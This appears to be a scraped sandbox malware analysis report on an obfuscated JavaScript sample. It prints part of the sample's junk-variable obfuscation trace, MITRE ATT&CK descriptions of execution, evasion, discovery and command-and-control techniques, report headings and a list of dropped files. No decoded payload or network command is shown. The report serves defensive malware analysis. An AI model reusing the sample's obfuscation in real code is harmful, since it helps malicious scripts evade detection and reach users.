+oxfhigtfk+bhpfcirp+foherulxo+humxgl+oxfhigtfk+bhpfcirp+oxfhigtfk+bnjqpz+xysswy+mxoxaacqh+txqxl+zwbfohce+zwbfohce+zwbfohce+zwbfohce+hdgotskco+vygpub+ejqwwd+ppbfkw+dtetpb+dtetpb+dtetpb+kevxyqxw+opmqegv+opmqegv+zzrapah+hdgotskco+bhpfcirp+humxgl+zwbfohce+mxoxaacqh+xysswy+bhpfcirp+duhikd+wwgjmza+rjxlwcsfi+duhikd+bhpfcirp+xysswy+duhikd+bhpfcirp+xysswy+oxfhigtfk+vygpub+huszhclkm+huszhclkm,0,false);") ➔ 0
2	}
3	mxoxaacqh = "T";
4	mxoxaacqh = "W";
5	mxoxaacqh = "q";
6	mxoxaacqh = "E";
7	mxoxaacqh = "V";
8	mxoxaacqh = "K";
9	mxoxaacqh = "Q";
10	mxoxaacqh = "r";
11	mxoxaacqh = "M";
12	mxoxaacqh = "5";
13	zzrapah = "c";
14	zzrapah = "C";
15	zzrapah = "G";
16	zzrapah = "n";
17	zzrapah = "d";
18	zzrapah = "f";
19	zzrapah = "w";
20	zzrapah = "e";
21	zzrapah = "t";
22	nalrki = "H";
23	nalrki = "v";
24	nalrki = "A";
25	nalrki = "b";
26	nalrki = "N";
27	nalrki = "c";
28	nalrki = "c";
29	nalrki = "W";
30	zwbfohce = "L";
31	zwbfohce = "w";
32	zwbfohce = "B";
33	zwbfohce = "q";
34	zwbfohce = "x";
35	zwbfohce = "8";
36	dtetpb = "Z";
37	dtetpb = "L";
38	dtetpb = "y";
39	dtetpb = "l";
40	dtetpb = "p";
41	dtetpb = "w";
42	mxfjmf = "R";
43	mxfjmf = "O";
44	mxfjmf = "h";
45	mxfjmf = "g";
46	mxfjmf = "U";
47	mxfjmf = "I";
48	mxfjmf = "o";
49	mxfjmf = "h";
50	mxfjmf = "U";
51	mxfjmf = "s";
52	ehgmttt = "z";
53	ehgmttt = "A";
54	ehgmttt = "Y";
55	ehgmttt = "f";
56	ehgmttt = "P";
57	ehgmttt = "k";
58	ehgmttt = "F";
59	ehgmttt = "f";
60	xeraz = "G";
61	xeraz = "Z";
62	xeraz = "V";
63	xeraz = "e";
64	xeraz = "K";
65	xeraz = "K";
66	xeraz = " ";
67	jzusyr = "w";
68	jzusyr = "p";
69	jzusyr = "e";
70	jzusyr = "O";
71	jzusyr = "A";
72	jzusyr = "e";
73	texwr = "j";
74	texwr = "s";
75	texwr = "E";
76	texwr = "a";
77	texwr = "w";
78	texwr = "n";
79	texwr = "J";
80	texwr = "b";
81	texwr = "b";
82	wookxh = "X";
83	wookxh = "P";
84	wookxh = "s";
85	wookxh = "Q";
86	wookxh = "k";
87	wookxh = "M";
88	wookxh = "P";
89	wookxh = "c";
90	wookxh = "u";
91	txqxl = "H";
92	txqxl = "r";
93	txqxl = "X";
94	txqxl = "y";
95	txqxl = "G";
96	txqxl = "W";
97	txqxl = "a";
98	txqxl = "T";
99	txqxl = "P";
100	txqxl = "@";
101	icmjy = "U";
102	icmjy = "W";
103	icmjy = "l";
104	icmjy = "H";
105	icmjy = "I";
106	icmjy = "X";
107	icmjy = "d";
108	icmjy = "h";
109	icmjy = "n";
110	icmjy = "k";
111	ayndzds = "J";
112	ayndzds = "a";
113	ayndzds = "C";
114	ayndzds = "r";
115	ayndzds = "E";
116	ayndzds = "S";
117	ayndzds = "Y";
118	ayndzds = "_";
119	opmqegv = "Q";
120	opmqegv = "S";
121	opmqegv = "l";
122	opmqegv = "A";
123	opmqegv = "l";
124	opmqegv = "o";
125	opmqegv = "f";
126	opmqegv = "B";
127	opmqegv = "o";
128	dilvpuqud = "s";
129	dilvpuqud = "I";
130	dilvpuqud = "y";
131	dilvpuqud = "Z";
132	dilvpuqud = "Q";
133	dilvpuqud = "q";
134	dilvpuqud = "O";
135	xysswy = "Z";
136	xysswy = "M";
137	xysswy = "I";
138	xysswy = "x";
139	xysswy = "F";
140	xysswy = "0";
141	bwrkkaf = "F";
142	bwrkkaf = "t";
143	bwrkkaf = "W";
144	bwrkkaf = "g";
145	bwrkkaf = "g";
146	bwrkkaf = "m";
147	bwrkkaf = "d";
148	bwrkkaf = "w";
149	bwrkkaf = "%";
150	xafifqqt = "C";
151	xafifqqt = "l";
152	xafifqqt = "A";
153	xafifqqt = "D";
154	xafifqqt = "l";
155	xafifqqt = "&";
156	wwgjmza = "P";
157	wwgjmza = "d";
158	wwgjmza = "P";
159	wwgjmza = "M";
160	wwgjmza = "A";
161	wwgjmza = "V";
162	wwgjmza = "e";
163	wwgjmza = "9";
164	ppbfkw = "L";
165	ppbfkw = "i";
166	ppbfkw = "a";
167	ppbfkw = "e";
168	ppbfkw = "t";
169	ppbfkw = "O";
170	ppbfkw = "J";
171	ppbfkw = "v";
172	riwpdjbn = "n";
173	riwpdjbn = "V";
174	riwpdjbn = "x";
175	riwpdjbn = "r";
176	riwpdjbn = "r";
177	riwpdjbn = "v";
178	riwpdjbn = "R";
179	yottmg = "o";
180	yottmg = "F";
181	yottmg = "t";
182	yottmg = "A";
183	yottmg = "M";
184	yottmg = "K";
185	nqdvp = "F";
186	nqdvp = "e";
187	nqdvp = "c";
188	nqdvp = "l";
189	nqdvp = "K";
190	nqdvp = "i";
191	nqdvp = "c";
192	nqdvp = "T";
193	nqdvp = ":";
194	mjsmybact = "C";
195	mjsmybact = "P";
196	mjsmybact = "T";
197	mjsmybact = "X";
198	mjsmybact = "O";
199	mjsmybact = "Z";
200	mjsmybact = "b";
201	mjsmybact = "j";
202	oxfhigtfk = "n";
203	oxfhigtfk = "m";
204	oxfhigtfk = "r";
205	oxfhigtfk = "W";
206	oxfhigtfk = "Y";
207	oxfhigtfk = ".";
208	bnjqpz = "f";
209	bnjqpz = "W";
210	bnjqpz = "S";
211	bnjqpz = "D";
212	bnjqpz = "S";
213	bnjqpz = "N";
214	bnjqpz = "t";
215	bnjqpz = "2";
216	ysulyd = "G";
217	ysulyd = "G";
218	ysulyd = "h";
219	ysulyd = "u";
220	ysulyd = "I";
221	ysulyd = "I";
222	lgdprl = "o";
223	lgdprl = "k";
224	lgdprl = "V";
225	lgdprl = "f";
226	lgdprl = "W";
227	lgdprl = "Q";
228	lgdprl = "l";
229	lgdprl = "m";
230	ejqwwd = "m";
231	ejqwwd = "G";
232	ejqwwd = "a";
233	ejqwwd = "P";
234	ejqwwd = "w";
235	ejqwwd = "M";
236	ejqwwd = "H";
237	ejqwwd = "D";
238	ejqwwd = "a";
239	kevxyqxw = "a";
240	kevxyqxw = "b";
241	kevxyqxw = "f";
242	kevxyqxw = "W";
243	kevxyqxw = "E";
244	kevxyqxw = "r";
245	caspkjqy = "i";
246	caspkjqy = "H";
247	caspkjqy = "a";
248	caspkjqy = "O";
249	caspkjqy = "M";
250	caspkjqy = "F";
251	zwukyoowj = "B";
252	zwukyoowj = "D";
253	zwukyoowj = "B";
254	zwukyoowj = "j";
255	zwukyoowj = "x";
256	zwukyoowj = "-";
257	vygpub = "E";
258	vygpub = "E";
259	vygpub = "e";
260	vygpub = "z";
261	vygpub = "s";
262	vygpub = "S";
263	vygpub = "o";
264	vygpub = "d";
265	zemyiods = "P";
266	zemyiods = "v";
267	zemyiods = "q";
268	zemyiods = "F";
269	zemyiods = "B";
270	zemyiods = "l";
271	zemyiods = "d";
272	zemyiods = "F";
273	zemyiods = "b";
274	zemyiods = "H";
275	euaqb = "z";
276	euaqb = "s";
277	euaqb = "S";
278	euaqb = "K";
279	euaqb = "D";
280	euaqb = "b";
281	euaqb = "O";
282	euaqb = "D";
283	euaqb = "m";
284	euaqb = "L";
285	humxgl = "J";
286	humxgl = "N";
287	humxgl = "l";
288	humxgl = "q";
289	humxgl = "I";
290	humxgl = "Z";
291	humxgl = "3";
292	cbjxyoap = "D";
293	cbjxyoap = "D";
294	cbjxyoap = "t";
295	cbjxyoap = "X";
296	cbjxyoap = "m";
297	cbjxyoap = "W";
298	cbjxyoap = "N";
299	cbjxyoap = "E";
300	cbjxyoap = "g";
301	zbscuwffj = "n";
302	zbscuwffj = "i";
303	zbscuwffj = "T";
304	zbscuwffj = "n";
305	zbscuwffj = "J";
306	zbscuwffj = "h";
307	zbscuwffj = "N";
308	zbscuwffj = "P";
309	zbscuwffj = "n";
310	zbscuwffj = "Q";
311	auulosy = "d";
312	auulosy = "U";
313	auulosy = "Y";
314	auulosy = "r";
315	auulosy = "Z";
316	auulosy = "l";
317	auulosy = "o";
318	auulosy = "y";
319	auulosy = "l";
320	auulosy = "q";
321	huszhclkm = "J";
322	huszhclkm = "o";
323	huszhclkm = "g";
324	huszhclkm = "C";
325	huszhclkm = "s";
326	huszhclkm = "K";
327	huszhclkm = "l";
328	dvwfnbyg = "C";
329	dvwfnbyg = "m";
330	dvwfnbyg = "X";
331	dvwfnbyg = "B";
332	dvwfnbyg = "Q";
333	dvwfnbyg = "Z";
334	dvwfnbyg = "G";
335	dvwfnbyg = "r";
336	dvwfnbyg = "H";
337	dvwfnbyg = "U";
338	loqragse = "S";
339	loqragse = "j";
340	loqragse = "U";
341	loqragse = "e";
342	loqragse = "d";
343	loqragse = "S";
344	bhpfcirp = "x";
345	bhpfcirp = "n";
346	bhpfcirp = "r";
347	bhpfcirp = "u";
348	bhpfcirp = "Z";
349	bhpfcirp = "Q";
350	bhpfcirp = "a";
351	bhpfcirp = "T";
352	bhpfcirp = "1";
353	hbluzzymf = "I";
354	hbluzzymf = "W";
355	hbluzzymf = "q";
356	hbluzzymf = "Q";
357	hbluzzymf = "C";
358	hbluzzymf = "M";
359	hbluzzymf = "p";
360	chcuiguwr = "q";
361	chcuiguwr = "q";
362	chcuiguwr = "j";
363	chcuiguwr = "c";
364	chcuiguwr = "J";
365	chcuiguwr = "o";
366	chcuiguwr = "P";
367	hdgotskco = "m";
368	hdgotskco = "T";
369	hdgotskco = "p";
370	hdgotskco = "g";
371	hdgotskco = "B";
372	hdgotskco = "w";
373	hdgotskco = "V";
374	hdgotskco = "\\";
375	krzndqlm = "B";
376	krzndqlm = "F";
377	krzndqlm = "F";
378	krzndqlm = "g";
379	krzndqlm = "u";
380	krzndqlm = "h";
381	krzndqlm = "J";
382	krzndqlm = "T";
383	glmmdw = "T";
384	glmmdw = "u";
385	glmmdw = "v";
386	glmmdw = "p";
387	glmmdw = "L";
388	glmmdw = "J";
389	glmmdw = "n";
390	glmmdw = "h";
391	ghatyabmc = "a";
392	ghatyabmc = "z";
393	ghatyabmc = "t";
394	ghatyabmc = "K";
395	ghatyabmc = "w";
396	ghatyabmc = "C";
397	rnuyaog = "F";
398	rnuyaog = "C";
399	rnuyaog = "S";
400	rnuyaog = "X";
401	rnuyaog = "K";
402	rnuyaog = "P";
403	rnuyaog = "Y";
404	rnuyaog = "t";
405	rnuyaog = "x";
406	duhikd = "c";
407	duhikd = "k";
408	duhikd = "z";
409	duhikd = "C";
410	duhikd = "k";
411	duhikd = "T";
412	duhikd = "I";
413	duhikd = "n";
414	duhikd = "7";
415	pmscixoiu = "n";
416	pmscixoiu = "V";
417	pmscixoiu = "b";
418	pmscixoiu = "E";
419	pmscixoiu = "l";
420	pmscixoiu = "s";
421	pmscixoiu = "E";
422	rjxlwcsfi = "z";
423	rjxlwcsfi = "C";
424	rjxlwcsfi = "S";
425	rjxlwcsfi = "b";
426	rjxlwcsfi = "W";
427	rjxlwcsfi = "V";
428	rjxlwcsfi = "P";
429	rjxlwcsfi = "C";
430	rjxlwcsfi = "C";
431	rjxlwcsfi = "6";
432	foherulxo = "D";
433	foherulxo = "P";
434	foherulxo = "T";
435	foherulxo = "Q";
436	foherulxo = "m";
437	foherulxo = "Q";
438	foherulxo = "G";
439	foherulxo = "4";
440	pceetz = "o";
441	pceetz = "M";
442	pceetz = "r";
443	pceetz = "N";
444	pceetz = "u";
445	pceetz = "S";
446	pceetz = "T";
447	pceetz = "R";
448	pceetz = "u";
449	pceetz = "i";
450	nhraiqxt = "d";
451	nhraiqxt = "X";
452	nhraiqxt = "x";
453	nhraiqxt = "H";
454	nhraiqxt = "z";
455	nhraiqxt = "k";
456	nhraiqxt = "i";
457	nhraiqxt = "P";
458	nhraiqxt = "V";
459	nhraiqxt = "n";
460	yeqwsejtf = "D";
461	yeqwsejtf = "Z";
462	yeqwsejtf = "M";
463	yeqwsejtf = "x";
464	yeqwsejtf = "O";
465	yeqwsejtf = "w";
466	yeqwsejtf = "F";
467	yeqwsejtf = "N";
468	ohlosb = "B";
469	ohlosb = "w";
470	ohlosb = "B";
471	ohlosb = "f";
472	ohlosb = "t";
473	ohlosb = "c";
474	ohlosb = "z";
475	ohlosb = "d";
476	ohlosb = "p";
477	ohlosb = "/";
478	oygprlav = "R";
479	oygprlav = "S";
480	oygprlav = "O";
481	oygprlav = "d";
482	oygprlav = "f";
483	oygprlav = "O";
484	oygprlav = "c";
485	pvbyu = "G";
486	pvbyu = "H";
487	pvbyu = "w";
488	pvbyu = "u";
489	pvbyu = "m";
490	pvbyu = "x";
491	pvbyu = "e";
492	pvbyu = "C";
493	pvbyu = "Y";
494	egxgmb = "m";
495	egxgmb = "w";
496	egxgmb = "N";
497	egxgmb = "A";
498	egxgmb = "h";
499	egxgmb = "q";
500	egxgmb = "U";
501	egxgmb = "I";
502	egxgmb = "C";
503	egxgmb = "\"";
504	dcovgu ( );	dcovgu() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 577119676170175151.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\209b1ac0-8e3a-4308-bd41-c6a8e13b8b42.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
577119676170175151.js